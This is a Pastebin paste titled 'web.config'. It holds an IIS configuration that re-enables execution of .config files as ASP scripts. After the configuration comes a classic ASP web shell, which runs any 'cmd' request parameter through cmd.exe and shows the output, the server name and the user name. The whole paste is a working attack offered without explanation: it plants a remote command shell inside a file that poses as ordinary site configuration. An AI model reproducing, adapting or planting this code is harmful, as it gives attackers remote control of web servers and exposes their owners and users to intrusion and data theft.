Harcrack

web.config

Oct 14th, 2018
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
XML 1.56 KB | None | 0 0
  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <configuration>
  3.    <system.webServer>
  4.       <handlers accessPolicy="Read, Script, Write">
  5.          <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
  6.       </handlers>
  7.       <security>
  8.          <requestFiltering>
  9.             <fileExtensions>
  10.                <remove fileExtension=".config" />
  11.             </fileExtensions>
  12.             <hiddenSegments>
  13.                <remove segment="web.config" />
  14.             </hiddenSegments>
  15.          </requestFiltering>
  16.       </security>
  17.    </system.webServer>
  18. </configuration>
  19.  
  20.  
  21. <%
  22. Set oScript = Server.CreateObject("WSCRIPT.SHELL")
  23. Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
  24. Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
  25.  
  26. szCMD = request("cmd")
  27.  
  28. If (szCMD <> "") Then
  29. szTempFile = "c:\inetpub\wwwroot\uploadedfiles\" & oFileSys.GetTempName( )
  30. Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
  31. Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
  32. End If
  33. %>
  34.  
  35. <HTML>
  36. <BODY>
  37. <FORM action="" method="GET">
  38. <input type="text" name="cmd" size=45 value="<%= szCMD %>">
  39. <input type="submit" value="Run">
  40. </FORM>
  41. <PRE>
  42. <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
  43. <br>
  44. <%
  45. If (IsObject(oFile)) Then
  46. On Error Resume Next
  47. Response.Write Server.HTMLEncode(oFile.ReadAll)
  48. oFile.Close
  49. Call oFileSys.DeleteFile(szTempFile, True)
  50. End If
  51. %>
  52. </BODY>
  53. </HTML>
Add Comment
Please, Sign In to add comment